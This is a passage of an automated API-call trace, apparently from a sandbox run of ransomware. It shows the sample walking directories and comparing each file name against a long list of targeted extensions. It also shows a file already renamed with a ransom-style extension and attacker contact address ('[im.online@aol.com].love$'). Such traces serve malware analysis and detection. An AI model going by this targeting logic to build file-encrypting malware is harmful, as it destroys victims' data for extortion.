[0099.906] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0099.906] lstrlenW (lpString=".potm") returned 5 [0099.906] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0099.906] lstrlenW (lpString=".potx") returned 5 [0099.906] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0099.906] lstrlenW (lpString=".ppa") returned 4 [0099.906] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0099.906] lstrlenW (lpString=".ppam") returned 5 [0099.906] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0099.906] lstrlenW (lpString=".ppm") returned 4 [0099.906] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".pps") returned 4 [0099.907] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".ppsm") returned 5 [0099.907] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0099.907] lstrlenW (lpString=".ppt") returned 4 [0099.907] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".pptm") returned 5 [0099.907] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0099.907] lstrlenW (lpString=".pptx") returned 5 [0099.907] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0099.907] lstrlenW (lpString=".prn") returned 4 [0099.907] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".ps") returned 3 [0099.907] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0099.907] lstrlenW (lpString=".psb") returned 4 [0099.907] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".psd") returned 4 [0099.907] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".pst") returned 4 [0099.907] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".ptx") returned 4 [0099.907] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".pub") returned 4 [0099.907] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".pwm") returned 4 [0099.907] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".pxr") returned 4 [0099.907] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0099.907] lstrlenW (lpString=".py") returned 3 [0099.908] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0099.908] lstrlenW (lpString=".qt") returned 3 [0099.908] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0099.908] lstrlenW (lpString=".r3d") returned 4 [0099.908] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0099.908] lstrlenW (lpString=".raf") returned 4 [0099.908] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0099.908] lstrlenW (lpString=".rar") returned 4 [0099.908] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.908] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.908] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0099.908] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa741d650, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0099.908] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0099.909] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0099.909] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0099.909] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0099.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26 [0099.909] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50640 [0099.909] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.909] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.909] lstrlenW (lpString="eula.rtf") returned 8 [0099.909] lstrlenW (lpString=".1cd") returned 4 [0099.909] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.909] lstrlenW (lpString=".3ds") returned 4 [0099.909] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0099.909] lstrlenW (lpString=".3fr") returned 4 [0099.910] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0099.910] lstrlenW (lpString=".3g2") returned 4 [0099.910] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0099.910] lstrlenW (lpString=".3gp") returned 4 [0099.910] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0099.910] lstrlenW (lpString=".7z") returned 3 [0099.910] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.910] lstrlenW (lpString=".accda") returned 6 [0099.910] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0099.910] lstrlenW (lpString=".accdb") returned 6 [0099.910] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0099.910] lstrlenW (lpString=".accdc") returned 6 [0099.910] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0099.910] lstrlenW (lpString=".accde") returned 6 [0099.910] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0099.910] lstrlenW (lpString=".accdt") returned 6 [0099.910] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0099.910] lstrlenW (lpString=".accdw") returned 6 [0099.910] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0099.910] lstrlenW (lpString=".adb") returned 4 [0099.910] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0099.910] lstrlenW (lpString=".adp") returned 4 [0099.910] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0099.910] lstrlenW (lpString=".ai") returned 3 [0099.910] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0099.910] lstrlenW (lpString=".ai3") returned 4 [0099.910] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0099.910] lstrlenW (lpString=".ai4") returned 4 [0099.910] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0099.910] lstrlenW (lpString=".ai5") returned 4 [0099.911] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".ai6") returned 4 [0099.911] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".ai7") returned 4 [0099.911] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".ai8") returned 4 [0099.911] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".anim") returned 5 [0099.911] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0099.911] lstrlenW (lpString=".arw") returned 4 [0099.911] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".as") returned 3 [0099.911] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0099.911] lstrlenW (lpString=".asa") returned 4 [0099.911] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".asc") returned 4 [0099.911] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".ascx") returned 5 [0099.911] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0099.911] lstrlenW (lpString=".asm") returned 4 [0099.911] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".asmx") returned 5 [0099.911] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0099.911] lstrlenW (lpString=".asp") returned 4 [0099.911] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0099.911] lstrlenW (lpString=".aspx") returned 5 [0099.911] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0099.911] lstrlenW (lpString=".asr") returned 4 [0099.912] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".asx") returned 4 [0099.912] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".avi") returned 4 [0099.912] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".avs") returned 4 [0099.912] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".backup") returned 7 [0099.912] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0099.912] lstrlenW (lpString=".bak") returned 4 [0099.912] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".bay") returned 4 [0099.912] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".bd") returned 3 [0099.912] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0099.912] lstrlenW (lpString=".bin") returned 4 [0099.912] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".bmp") returned 4 [0099.912] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".bz2") returned 4 [0099.912] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".c") returned 2 [0099.912] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0099.912] lstrlenW (lpString=".cdr") returned 4 [0099.912] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".cer") returned 4 [0099.912] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0099.912] lstrlenW (lpString=".cf") returned 3 [0099.912] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0099.912] lstrlenW (lpString=".cfc") returned 4 [0099.913] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".cfm") returned 4 [0099.913] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".cfml") returned 5 [0099.913] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0099.913] lstrlenW (lpString=".cfu") returned 4 [0099.913] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".chm") returned 4 [0099.913] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".cin") returned 4 [0099.913] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".class") returned 6 [0099.913] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0099.913] lstrlenW (lpString=".clx") returned 4 [0099.913] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".config") returned 7 [0099.913] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0099.913] lstrlenW (lpString=".cpp") returned 4 [0099.913] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".cr2") returned 4 [0099.913] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".crt") returned 4 [0099.913] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".crw") returned 4 [0099.913] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0099.913] lstrlenW (lpString=".cs") returned 3 [0099.913] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0099.913] lstrlenW (lpString=".css") returned 4 [0099.913] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".csv") returned 4 [0099.914] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".cub") returned 4 [0099.914] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dae") returned 4 [0099.914] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dat") returned 4 [0099.914] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".db") returned 3 [0099.914] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0099.914] lstrlenW (lpString=".dbf") returned 4 [0099.914] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dbx") returned 4 [0099.914] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dc3") returned 4 [0099.914] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dcm") returned 4 [0099.914] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dcr") returned 4 [0099.914] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".der") returned 4 [0099.914] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dib") returned 4 [0099.914] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dic") returned 4 [0099.914] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".dif") returned 4 [0099.914] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0099.914] lstrlenW (lpString=".divx") returned 5 [0099.915] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0099.915] lstrlenW (lpString=".djvu") returned 5 [0099.915] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0099.915] lstrlenW (lpString=".dng") returned 4 [0099.915] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0099.915] lstrlenW (lpString=".doc") returned 4 [0099.915] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.915] lstrlenW (lpString=".docm") returned 5 [0099.915] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0099.915] lstrlenW (lpString=".docx") returned 5 [0099.915] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.915] lstrlenW (lpString=".dot") returned 4 [0099.915] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0099.915] lstrlenW (lpString=".dotm") returned 5 [0099.915] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0099.915] lstrlenW (lpString=".dotx") returned 5 [0099.915] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0099.915] lstrlenW (lpString=".dpx") returned 4 [0099.915] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0099.915] lstrlenW (lpString=".dqy") returned 4 [0099.915] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0099.915] lstrlenW (lpString=".dsn") returned 4 [0099.915] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0099.915] lstrlenW (lpString=".dt") returned 3 [0099.915] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0099.915] lstrlenW (lpString=".dtd") returned 4 [0099.915] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0099.915] lstrlenW (lpString=".dwg") returned 4 [0099.915] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0099.915] lstrlenW (lpString=".dwt") returned 4 [0099.916] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0099.916] lstrlenW (lpString=".dx") returned 3 [0099.916] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0099.916] lstrlenW (lpString=".dxf") returned 4 [0100.149] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.149] lstrlenW (lpString=".edml") returned 5 [0100.149] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.149] lstrlenW (lpString=".efd") returned 4 [0100.149] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.149] lstrlenW (lpString=".elf") returned 4 [0100.149] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.149] lstrlenW (lpString=".emf") returned 4 [0100.149] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.149] lstrlenW (lpString=".emz") returned 4 [0100.149] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.149] lstrlenW (lpString=".epf") returned 4 [0100.149] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.149] lstrlenW (lpString=".eps") returned 4 [0100.149] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.149] lstrlenW (lpString=".epsf") returned 5 [0100.150] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.150] lstrlenW (lpString=".epsp") returned 5 [0100.150] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.150] lstrlenW (lpString=".erf") returned 4 [0100.150] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.150] lstrlenW (lpString=".exr") returned 4 [0100.150] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.150] lstrlenW (lpString=".f4v") returned 4 [0100.150] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.150] lstrlenW (lpString=".fido") returned 5 [0100.150] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.150] lstrlenW (lpString=".flm") returned 4 [0100.150] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.150] lstrlenW (lpString=".flv") returned 4 [0100.183] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".frm") returned 4 [0100.183] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".fxg") returned 4 [0100.183] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".geo") returned 4 [0100.183] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".gif") returned 4 [0100.183] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".grs") returned 4 [0100.183] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".gz") returned 3 [0100.183] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.183] lstrlenW (lpString=".h") returned 2 [0100.183] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.183] lstrlenW (lpString=".hdr") returned 4 [0100.183] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".hpp") returned 4 [0100.183] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".hta") returned 4 [0100.183] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".htc") returned 4 [0100.183] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.183] lstrlenW (lpString=".htm") returned 4 [0100.184] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".html") returned 5 [0100.184] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.184] lstrlenW (lpString=".icb") returned 4 [0100.184] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".ics") returned 4 [0100.184] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".iff") returned 4 [0100.184] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".inc") returned 4 [0100.184] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".indd") returned 5 [0100.184] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.184] lstrlenW (lpString=".ini") returned 4 [0100.184] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".iqy") returned 4 [0100.184] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".j2c") returned 4 [0100.184] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".j2k") returned 4 [0100.184] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".java") returned 5 [0100.184] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.184] lstrlenW (lpString=".jp2") returned 4 [0100.184] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".jpc") returned 4 [0100.184] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.184] lstrlenW (lpString=".jpe") returned 4 [0100.185] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".jpeg") returned 5 [0100.185] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.185] lstrlenW (lpString=".jpf") returned 4 [0100.185] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".jpg") returned 4 [0100.185] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".jpx") returned 4 [0100.185] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".js") returned 3 [0100.185] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.185] lstrlenW (lpString=".jsf") returned 4 [0100.185] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".json") returned 5 [0100.185] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.185] lstrlenW (lpString=".jsp") returned 4 [0100.185] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".kdc") returned 4 [0100.185] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".kmz") returned 4 [0100.185] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".kwm") returned 4 [0100.185] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".lasso") returned 6 [0100.185] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.185] lstrlenW (lpString=".lbi") returned 4 [0100.185] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.185] lstrlenW (lpString=".lgf") returned 4 [0100.186] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".lgp") returned 4 [0100.186] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".log") returned 4 [0100.186] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".m1v") returned 4 [0100.186] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".m4a") returned 4 [0100.186] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".m4v") returned 4 [0100.186] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".max") returned 4 [0100.186] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".md") returned 3 [0100.186] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.186] lstrlenW (lpString=".mda") returned 4 [0100.186] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".mdb") returned 4 [0100.186] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".mde") returned 4 [0100.186] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".mdf") returned 4 [0100.186] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".mdw") returned 4 [0100.186] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".mef") returned 4 [0100.186] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.186] lstrlenW (lpString=".mft") returned 4 [0100.187] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mfw") returned 4 [0100.187] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mht") returned 4 [0100.187] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mhtml") returned 6 [0100.187] lstrcmpiW (lpString1=".mhtml", 